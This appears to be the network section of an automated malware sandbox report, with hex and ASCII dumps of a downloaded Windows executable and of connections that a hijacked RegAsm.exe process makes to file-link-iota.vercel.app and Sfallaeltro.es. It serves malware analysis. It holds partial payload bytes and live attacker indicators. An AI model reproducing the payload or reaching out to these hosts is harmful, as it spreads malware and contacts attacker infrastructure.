cf e2 47 4f 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 70 00 00 00 da 3e 00 00 42 00 00 99 38 00 00 00 10 00 00 00 80 00 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 06 00 00 00 05 00 00 00 00 00 00 00 00 a0 48 00 00 04 00 00 75 45 10 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 34 9b [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$aKZe%46%46%46,R6&46,R6446%5646>6+46>6$46>6$46Rich%46PELGOp>B8@HuE@40G(?H.textop `.rdatab,t@@.dataf>@.ndata ?.rsrc(0G*@@.reloc2`H4@B
Sep 11, 2024 16:22:16.592122078 CEST	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 55 8b ec 83 ec 5c 83 7d 0c 0f 74 2b 83 7d 0c 46 8b 45 14 75 0d 83 48 18 10 8b 0d f4 15 7f 00 89 48 04 50 ff 75 10 ff 75 0c Data Ascii: U\}t+}FEuHHPuuu@KSV5WEPu@eEEPu@}eD@FRVVU+MMEFQNUMMVTU
Sep 11, 2024 16:22:16.592191935 CEST	1236	IN	Data Raw: 0f b6 c0 0b c8 0f b6 46 50 0f af 45 10 03 c2 99 f7 ff c1 e1 08 0f b6 c0 0b c8 8d 45 f4 50 89 4d f8 ff 15 48 80 40 00 83 45 f0 04 50 89 45 14 8d 45 e4 50 ff 75 0c ff 15 98 82 40 00 ff 75 14 ff d3 83 45 e8 04 39 7d e8 0f 8c 6e ff ff ff 83 7e 58 ff Data Ascii: FPEEPMH@EPEEPu@uE9}n~Xtev4L@EtU}jWEEP@vXWT@u5X@Wh EEPjh~W@uWuEPu@_^3[L$i @TtUVWq3;5
Sep 11, 2024 16:22:16.592204094 CEST	1236	IN	Data Raw: ff 15 04 80 40 00 f7 d8 1b c0 f7 d0 23 45 08 5e 5d c2 04 00 cc 55 8b ec 81 ec ac 03 00 00 a1 f4 15 7f 00 53 56 8b 75 08 57 6a 07 59 8d 7d d0 f3 a5 8b 55 d4 8b 4d d8 8b f2 8b f9 69 f6 08 40 00 00 69 ff 08 40 00 00 89 45 f4 b8 00 20 7f 00 03 f0 03 Data Ascii: @#E^]USVuWjY}UMi@i@E E@E3]G$0@Rh@LEYYS@Ph@LYYSuV9~9]tS<@R(pVh@ULYYSV0\|SPh`@
Sep 11, 2024 16:22:16.592216015 CEST	1236	IN	Data Raw: 45 00 00 eb 17 68 b0 a0 84 00 56 e8 b0 45 00 00 50 e8 c3 4c 00 00 50 e8 c0 45 00 00 56 e8 cd 45 00 00 bf d8 30 41 00 83 7d 08 03 7c 31 56 e8 59 48 00 00 33 c9 3b c3 74 10 8d 4d e0 51 83 c0 14 50 ff 15 64 80 40 00 8b c8 8b 45 08 83 c0 fd 0d 00 00 Data Ascii: EhVEPLPEVE0A}\|1VYH3;tMQPd@E#@E9]uV~C3}@Ph@VCE9]uwVh@GYYh WEVh Euh@LWh DEPh@{Auhp@oGY6Ht
Sep 11, 2024 16:22:16.592227936 CEST	1236	IN	Data Raw: 43 00 00 59 e9 d7 fa ff ff 8d 47 04 50 56 e8 d9 40 00 00 8b 07 a3 c0 b0 40 00 57 e9 34 04 00 00 68 0c 40 00 00 6a 40 ff 15 24 81 40 00 ff 75 d4 8b f0 8d 46 04 50 e8 ad 48 00 00 a1 c0 b0 40 00 89 06 89 35 c0 b0 40 00 e9 63 11 00 00 6a 03 59 e8 be Data Ascii: CYGPV@@W4h@j@$@uFPH@5@cjYjYEEEtj3EEtjDE}!uJ3AjYxM;tURQSuuPWL@@ECuuPW@0jOjF#Q
Sep 11, 2024 16:22:16.592262030 CEST	1236	IN	Data Raw: f0 ff ff 6a 01 8b f8 e8 49 f0 ff ff 89 45 f8 39 5d e4 74 0e 57 ff 15 34 81 40 00 89 45 08 3b c3 75 15 6a 08 53 57 ff 15 38 81 40 00 89 45 08 3b c3 0f 84 90 00 00 00 ff 75 f8 ff 75 08 e8 32 3f 00 00 8b f0 3b f3 74 3d 89 5d fc 39 5d dc 74 17 ff 75 Data Ascii: jIE9]tW4@E;ujSW8@E;uu2?;t=]9]tutBE9h@h@h h uujWuhX@>9]3u#u<@h@jWh@rh@j*h@
Sep 11, 2024 16:22:16.592273951 CEST	1236	IN	Data Raw: 15 14 80 40 00 85 c0 0f 85 07 01 00 00 89 5d f8 bf d8 30 41 00 39 75 f0 75 42 6a 23 e8 60 eb ff ff 57 e8 33 37 00 00 57 ff 75 f4 8d 44 00 02 ff 75 08 89 45 f8 ff 75 cc 39 75 ec 75 12 68 e4 84 40 00 e8 97 39 00 00 83 c4 14 e9 84 00 00 00 68 98 84 Data Ascii: @]0A9uuBj#`W37WuDuEu9uuh@9h@9j^9uu'jYPu0AuuuhH@V9}uBhWSuPWEhP8Puuuh@9$uWuSuu@u]u
Sep 11, 2024 16:22:16.592287064 CEST	1236	IN	Data Raw: 53 6a 02 59 e8 8e e6 ff ff 50 56 e8 c1 31 00 00 50 ff 15 60 81 40 00 39 5d d8 0f 8c 14 03 00 00 50 57 e9 08 03 00 00 66 39 1e 0f 84 04 03 00 00 56 e8 9b 31 00 00 50 ff 15 64 81 40 00 e9 f2 02 00 00 66 39 1f 0f 84 f2 eb ff ff 8d 85 54 fc ff ff 50 Data Ascii: SjYPV1P`@9]PWf9V1Pd@f9TPWy1Ph@+j=TQPl@u3fPW$1PV1jEfVu.ujV/jh@V/EL5$@
Sep 11, 2024 16:22:16.592298985 CEST	1236	IN	Data Raw: b1 42 00 a1 1c 1a 7b 00 3b c8 7c 02 8b c8 50 6a 64 51 ff 15 50 81 40 00 50 8d 45 80 68 c8 8f 40 00 50 ff 15 48 82 40 00 83 c4 0c 8d 45 80 50 ff 75 08 ff 15 38 82 40 00 8d 45 80 50 68 06 04 00 00 ff 75 08 e8 c8 29 00 00 33 c0 c9 c2 10 00 56 33 f6 Data Ascii: B{;\|PjdQP@PEh@PH@EPu8@EPhu)3V39t$tPB;tP,@5PB^95PBtVG0^@;@v#VhL2@Vjo50@jPPBD@^UVujEPVu5@X@t9uu3@3^]jjt$5@
Sep 11, 2024 16:22:16.592310905 CEST	1236	IN	Data Raw: ec 6a 40 ff 15 24 81 40 00 8b f0 a1 4c 16 7f 00 83 c0 1c 50 e8 f8 fb ff ff ff 75 ec 56 53 6a ff e8 03 fc ff ff 3b 45 ec 75 5a f6 45 d8 01 89 35 fc 15 7f 00 8b 06 a3 48 16 7f 00 74 06 ff 05 44 16 7f 00 6a 08 59 8d 46 44 83 e8 08 01 30 49 3b cb 75 Data Ascii: j@$@LPuVSj;EuZE5HtDjYFD0I;ujSSu`@F<j@VhX&3_^[jY@V`V`(VG%u^V8/jV@Vh &^UUMV3+W49Mf;wrftft9Eu

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	49739	76.76.21.61	80	5500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 16:22:15.691004992 CEST	183	OUT	Data Raw: 16 03 03 00 b2 01 00 00 ae 03 03 66 e1 a7 96 4c c8 cb 11 0a 5c af f2 27 b6 97 97 91 bb 28 2f a4 82 72 92 d0 f4 1e 76 83 77 46 90 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fL\'(/rvwF&,+0/$#('=<5/_file-link-iota.vercel.app#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	49740	37.153.95.99	80	5500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 16:22:15.850433111 CEST	171	OUT	Data Raw: 16 03 03 00 a6 01 00 00 a2 03 03 66 e1 a7 96 e0 b4 42 14 17 e9 78 4b 0c 67 cc fc 02 f9 4a 1c d3 45 97 1e 16 f4 d7 72 10 2c c7 a0 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fBxKgJEr,&,+0/$#('=<5/Sfallaeltro.es#
Sep 11, 2024 16:22:16.507899046 CEST	1236	IN	HTTP/1.1 400 Bad Request Date: Wed, 11 Sep 2024 14:22:16 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%;
Sep 11, 2024 16:22:16.507951975 CEST	224	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c Data Ascii: } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info {
Sep 11, 2024 16:22:16.507986069 CEST	1236	IN	Data Raw: 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 39 33 41 34 41 3b 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: background-repeat: no-repeat; background-color: #293A4A; color: #FFFFFF; } .additional-info a { color: #FFFFFF; } .additional-info-items { padding: 20px 0;
Sep 11, 2024 16:22:16.508044004 CEST	224	IN	Data Raw: 65 72 76 65 72 20 61 64 64 72 65 73 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 Data Ascii: erver address { text-align: left; } footer { text-align: center; margin: 60px 0; } footer a { text-decoration: none; } footer a
Sep 11, 2024 16:22:16.508357048 CEST	1236	IN	Data Raw: 69 6d 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 70 79 72 69 67 68 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a Data Ascii: img { border: 0; } .copyright { font-size: 10px; color: #3F4143; } @media (min-width: 768px) { .additional-info { position: relative;
Sep 11, 2024 16:22:16.508367062 CEST	224	IN	Data Raw: 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 39 39 32 70 78 29 20 7b 0a 20 20 20 20 20 20 Data Ascii: isplay: inline; } } @media (min-width: 992px) { .additional-info { background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPAAAADqCAMAAACrxjhdAAAAt1BMVEUAA
Sep 11, 2024 16:22:16.508377075 CEST	1236	IN	Data Raw: 41 41 41 41 41 44 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f Data Ascii: AAAAAD////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////5+fn////////////////////////////////6+vr///////////////////////////////////////+i
Sep 11, 2024 16:22:16.508394957 CEST	224	IN	Data Raw: 63 57 53 46 44 52 4f 4e 53 72 41 55 30 69 46 59 4c 72 48 55 32 52 4b 42 33 71 2b 48 78 44 48 54 34 4a 4b 45 65 32 70 72 68 78 59 31 61 43 53 35 6c 59 2b 48 6e 58 75 36 4e 2b 78 36 49 4a 43 52 51 51 6d 45 45 7a 2b 59 6a 49 45 2f 78 73 2f 4d 6d 44 Data Ascii: cWSFDRONSrAU0iFYLrHU2RKB3q+HxDHT4JKEe2prhxY1aCS5lY+HnXu6N+x6IJCRQQmEEz+YjIE/xs/MmD8qHRYK5CAHuaTY5jfQxFC/YoIQSSVafrD+WK4H0Piv8SATRZChEXiOs39L/IYwiOxRHgeEKcmbMI9ccHRCdxUeYanFpQJMBUDIFxw1chJiBAomkz3x43l+nuWGmWhkQs0a6Y7YHVe772m1
Sep 11, 2024 16:22:16.508404970 CEST	1236	IN	Data Raw: 74 5a 6c 55 42 45 68 4b 49 39 6b 36 6e 75 4c 45 38 62 7a 4b 56 53 45 43 45 48 65 43 5a 53 79 73 72 30 34 71 4a 47 6e 54 7a 73 56 78 4a 6f 51 77 6d 37 62 50 68 51 37 63 7a 61 35 45 43 47 51 47 70 67 36 54 6e 6a 7a 6d 57 42 62 55 37 74 45 78 6b 68 Data Ascii: tZlUBEhKI9k6nuLE8bzKVSECEHeCZSysr04qJGnTzsVxJoQwm7bPhQ7cza5ECGQGpg6TnjzmWBbU7tExkhVw36yz3HCm0qEvEZ9C7vDYZeWAQhnKkQUG/i7NDnCL/hwbvJr6miPKHTaOE54xpBGrl8RIXKX1bk3+A1aUhHxUte3sHEvNSIp4REdBNONA9NOWYEwuq54AhPex3NaIQLwHIIQlQkPbwsRFpdmdb/hD8TSDCwTBu8W
Sep 11, 2024 16:22:16.508416891 CEST	1236	IN	Data Raw: 53 65 2f 44 49 55 49 48 42 64 52 43 4d 4d 56 36 4f 6e 48 72 74 57 33 62 78 63 38 56 4a 56 6d 50 51 2b 49 46 51 6d 62 74 79 55 67 65 6a 65 6d 36 56 73 7a 77 61 4e 4a 35 49 51 54 39 72 38 41 55 46 30 34 2f 44 6f 4d 49 2b 4e 68 31 5a 57 35 4d 34 63 Data Ascii: Se/DIUIHBdRCMMV6OnHrtW3bxc8VJVmPQ+IFQmbtyUgejem6VszwaNJ5IQT9r8AUF04/DoMI+Nh1ZW5M4chJ5yuNRMAnv7Th0PwP74pTl9UjPZ8Gj19PYSn0S1FQG2VfGvSPqxrp52mBN6I25n2CTBOORE0/6GiVn9YNf8bFBd4RURFlWzBvyBEqIi4I9aky+2r29597/ZD62+xKVfBtNM6qaHRG61erXPBOfO6HN7UYlJmuslp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49741	37.153.95.99	80	5500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 16:22:15.850542068 CEST	171	OUT	Data Raw: 16 03 03 00 a6 01 00 00 a2 03 03 66 e1 a7 96 d3 70 97 2c c2 fd b5 79 13 a7 d8 e7 cd 74 3e 50 86 28 8d 73 5a 14 93 5a 47 b7 5c 06 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fp,yt>P(sZZG\&,+0/$#('=<5/Sfallaeltro.es#
Sep 11, 2024 16:22:16.509601116 CEST	1236	IN	HTTP/1.1 400 Bad Request Date: Wed, 11 Sep 2024 14:22:16 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 [TRUNCATED] Data Ascii: <!DOCTYPE html><html> <head> <meta http-equiv="Content-type" content="text/html; charset=utf-8"> <meta http-equiv="Cache-control" content="no-cache"> <meta http-equiv="Pragma" content="no-cache"> <meta http-equiv="Expires" content="0"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>400 Bad Request</title> <style type="text/css"> body { font-family: Arial, Helvetica, sans-serif; font-size: 14px; line-height: 1.428571429; background-color: #ffffff; color: #2F3230; padding: 0; margin: 0; } section, footer { display: block; padding: 0; margin: 0; } .container { margin-left: auto; margin-right: auto; padding: 0 10px; } .response-info { color: #CCCCCC; } .status-code { font-size: 500%;
Sep 11, 2024 16:22:16.509821892 CEST	224	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c Data Ascii: } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info {
Sep 11, 2024 16:22:16.509833097 CEST	1236	IN	Data Raw: 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 6e 6f 2d 72 65 70 65 61 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 32 39 33 41 34 41 3b 0a 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: background-repeat: no-repeat; background-color: #293A4A; color: #FFFFFF; } .additional-info a { color: #FFFFFF; } .additional-info-items { padding: 20px 0;
Sep 11, 2024 16:22:16.509843111 CEST	224	IN	Data Raw: 65 72 76 65 72 20 61 64 64 72 65 73 73 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 Data Ascii: erver address { text-align: left; } footer { text-align: center; margin: 60px 0; } footer a { text-decoration: none; } footer a
Sep 11, 2024 16:22:16.510160923 CEST	1236	IN	Data Raw: 69 6d 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 70 79 72 69 67 68 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a Data Ascii: img { border: 0; } .copyright { font-size: 10px; color: #3F4143; } @media (min-width: 768px) { .additional-info { position: relative;
Sep 11, 2024 16:22:16.510171890 CEST	1236	IN	Data Raw: 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 39 39 32 70 78 29 20 7b 0a 20 20 20 20 20 20 Data Ascii: isplay: inline; } } @media (min-width: 992px) { .additional-info { background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPAAAADqCAMAAACrxjhdAAAAt1BMVEUAAAAAAAD/////////////
Sep 11, 2024 16:22:16.510183096 CEST	448	IN	Data Raw: 76 51 66 45 52 63 69 4d 70 63 61 46 74 57 34 48 38 69 49 30 67 42 32 4d 7a 66 45 63 56 33 67 42 2b 49 6b 66 44 74 62 79 43 41 54 67 74 48 42 37 6c 33 54 72 4b 55 47 32 79 57 4f 65 37 4f 32 4b 59 51 49 50 45 37 78 46 44 31 32 59 76 79 36 53 76 71 Data Ascii: vQfERciMpcaFtW4H8iI0gB2MzfEcV3gB+IkfDtbyCATgtHB7l3TrKUG2yWOe7O2KYQIPE7xFD12Yvy6SvqoLOMf95k+BvgqogCFCx22NdltO1epYc7ycEKSaI9+UAYPGOlKDQYyxDP9Npqv0NKZkS7GuNRQig5pvaYQwdTztjRnCrr/l0b2UgO+wRtMiFCAzqpLL0So+hWmi61Nn3aqKGEzDfFrmEoKqcWSFDRONSrAU0iFYLrH
Sep 11, 2024 16:22:16.510200024 CEST	1236	IN	Data Raw: 74 5a 6c 55 42 45 68 4b 49 39 6b 36 6e 75 4c 45 38 62 7a 4b 56 53 45 43 45 48 65 43 5a 53 79 73 72 30 34 71 4a 47 6e 54 7a 73 56 78 4a 6f 51 77 6d 37 62 50 68 51 37 63 7a 61 35 45 43 47 51 47 70 67 36 54 6e 6a 7a 6d 57 42 62 55 37 74 45 78 6b 68 Data Ascii: tZlUBEhKI9k6nuLE8bzKVSECEHeCZSysr04qJGnTzsVxJoQwm7bPhQ7cza5ECGQGpg6TnjzmWBbU7tExkhVw36yz3HCm0qEvEZ9C7vDYZeWAQhnKkQUG/i7NDnCL/hwbvJr6miPKHTaOE54xpBGrl8RIXKX1bk3+A1aUhHxUte3sHEvNSIp4REdBNONA9NOWYEwuq54AhPex3NaIQLwHIIQlQkPbwsRFpdmdb/hD8TSDCwTBu8W
Sep 11, 2024 16:22:16.510212898 CEST	1236	IN	Data Raw: 53 65 2f 44 49 55 49 48 42 64 52 43 4d 4d 56 36 4f 6e 48 72 74 57 33 62 78 63 38 56 4a 56 6d 50 51 2b 49 46 51 6d 62 74 79 55 67 65 6a 65 6d 36 56 73 7a 77 61 4e 4a 35 49 51 54 39 72 38 41 55 46 30 34 2f 44 6f 4d 49 2b 4e 68 31 5a 57 35 4d 34 63 Data Ascii: Se/DIUIHBdRCMMV6OnHrtW3bxc8VJVmPQ+IFQmbtyUgejem6VszwaNJ5IQT9r8AUF04/DoMI+Nh1ZW5M4chJ5yuNRMAnv7Th0PwP74pTl9UjPZ8Gj19PYSn0S1FQG2VfGvSPqxrp52mBN6I25n2CTBOORE0/6GiVn9YNf8bFBd4RURFlWzBvyBEqIi4I9aky+2r29597/ZD62+xKVfBtNM6qaHRG61erXPBOfO6HN7UYlJmuslp
Sep 11, 2024 16:22:16.510225058 CEST	416	IN	Data Raw: 51 41 41 41 41 42 4a 52 55 35 45 72 6b 4a 67 67 67 3d 3d 29 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 64 74 68 Data Ascii: QAAAABJRU5ErkJggg==); } .container { width: 70%; } .status-code { font-size: 900%; } .status-reason { font-size: 450%;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49742	76.76.21.61	80	5500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 16:22:16.156584024 CEST	129	OUT	Data Raw: 16 03 01 00 7c 01 00 00 78 03 01 66 e1 a7 97 07 3c 07 b0 8e 11 dd 7a 9c 70 83 c9 91 73 c2 17 39 a1 6f f1 96 5c de 78 b6 93 0b 22 00 00 0e c0 0a c0 09 c0 14 c0 13 00 35 00 2f 00 0a 01 00 00 41 00 00 00 1e 00 1c 00 00 19 66 69 6c 65 2d 6c 69 6e 6b Data Ascii: \|xf<zps9o\x"5/Afile-link-iota.vercel.app#

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49743	37.153.95.99	80	5500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
Sep 11, 2024 16:22:16.514879942 CEST	171	OUT	Data Raw: 16 03 03 00 a6 01 00 00 a2 03 03 66 e1 a7 97 0e f0 44 40 5b 0e 6d dc c0 c4 35 a1 7e a8 a1 f6 0a d8 dc 1d c2 98 c8 96 2e f2 68 dc 00 00 26 c0 2c c0 2b c0 30 c0 2f c0 24 c0 23 c0 28 c0 27 c0 0a c0 09 c0 14 c0 13 00 9d 00 9c 00 3d 00 3c 00 35 00 2f Data Ascii: fD@[m5~.h&,+0/$#('=<5/Sfallaeltro.es#
Sep 11, 2024 16:22:17.173207045 CEST	1236	IN	HTTP/1.1 400 Bad Request Date: Wed, 11 Sep 2024 14:22:17 GMT Server: Apache Accept-Ranges: bytes Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Connection: close Content-Type: text/html Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 